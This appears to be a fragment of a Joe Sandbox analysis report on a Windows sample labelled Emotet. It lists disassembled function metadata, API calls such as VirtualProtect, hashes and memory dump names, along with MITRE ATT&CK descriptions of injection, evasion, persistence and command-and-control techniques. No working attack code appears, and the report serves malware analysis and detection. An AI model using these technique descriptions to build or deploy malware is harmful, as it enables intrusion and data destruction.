Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction ID: 3c08702fd25ada2266926da53e5058be595d777b16bfef6a83bfe969bb48a588
Opcode Fuzzy Hash: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction Fuzzy Hash: 6211EB32501611ABDB213FB5BC15ADA3794AF44378B21843BF869962A0DB3DCCC1869C

Function 0061A4B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 254COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 0061A787
ProcessIdToSessionId.KERNEL32(00000000), ref: 0061A78A

Strings

.v, xrefs: 0061A5A4, 0061A5AF, 0061A5CE, 0061A5D9, 0061A5F8, 0061A64A, 0061A655, 0061A674, 0061A711

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: Process$CurrentSession
String ID: .v
API String ID: 2701954971-2572790428
Opcode ID: 8f6147540655c5dcc8c1a0b7c3254943866f873b70ec0a541b892e1615da10e4
Instruction ID: 80ab9f63d68ca92badbdb68c855c1022b89936878b5d7901f3d29ebf53d8ac01
Opcode Fuzzy Hash: 8f6147540655c5dcc8c1a0b7c3254943866f873b70ec0a541b892e1615da10e4
Instruction Fuzzy Hash: 3E81A231B053008BDB64EFA4A8426FA72E7AFC4754B0C442EF845CB364EA34CD858793

Function 00732430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 00732468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 007324B2

Strings

@, xrefs: 00732453

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 0b8acc029a2bf3115f6b01db21965f6733331665869268050a3c1f15ed0e78ac
Instruction ID: 5b5cd7114a10b83a89c8f63896335bb05dae223936752c69ec01c15552396c84
Opcode Fuzzy Hash: 0b8acc029a2bf3115f6b01db21965f6733331665869268050a3c1f15ed0e78ac
Instruction Fuzzy Hash: 5421E5B0A00249EFEF14CF98C980BADBBB5BF44304F208199D905AB242D778AF81DB55

Function 00412F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004106ED: __getptd.LIBCMT ref: 004106F3
Part of subcall function 004106ED: __getptd.LIBCMT ref: 00410703

__getptd.LIBCMT ref: 00412F19

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412F27

Strings

csm, xrefs: 00412F35

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction ID: 69b6639a9ef3a36a169a6a5565f12a55bffb05f741e2618f410494396190d148
Opcode Fuzzy Hash: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction Fuzzy Hash: 80014B348002058FCF34DF26D6406EEB3B5AF20311F14462FE44496359DBB89AE6EF49

Function 0040E7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

InitCommonControlsEx.COMCTL32 ref: 0040E7BF
CreateWindowExW.USER32(00000000,SysListView32,00419450,50010201,0000000A,00000028,00000190,000001F4,?,00000000,00000000,00000000), ref: 0040E7F4

Strings

SysListView32, xrefs: 0040E7ED

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: CommonControlsCreateInitWindow
String ID: SysListView32
API String ID: 2646078016-78025650
Opcode ID: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction ID: f3d3e535e189fff61838196dd880c7fe0caa92239aab9ee536b101cdf5704626
Opcode Fuzzy Hash: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction Fuzzy Hash: 99E04F747843007FF6509B40DC5BF963764A788F05F50C024F649A51C0D6F46885866A

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ExeFile (356).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Windows Analysis Report
ExeFile (356).exe

Function 0040FA80 Relevance: 63.2, APIs: 23, Strings: 13, Instructions: 250
windowregistrythreadCOMMON

Function 020E1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Function 00607D60 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 219
fileCOMMON

Function 006038B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Function 006080D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169
fileCOMMON

Function 00604F50 Relevance: 1.7, APIs: 1, Instructions: 249
memoryCOMMON

Function 00603060 Relevance: 1.7, APIs: 1, Instructions: 166
memoryCOMMON

Function 00606D70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
libraryCOMMON

Function 00605C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Function 005F002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Function 0041025B Relevance: 4.6, APIs: 3, Instructions: 58
memoryCOMMONLIBRARYCODE

Function 00609530 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201
COMMON

Function 00604A80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87
processCOMMON

Function 0040EC40 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 42
memoryCOMMON

Function 020E1D10 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre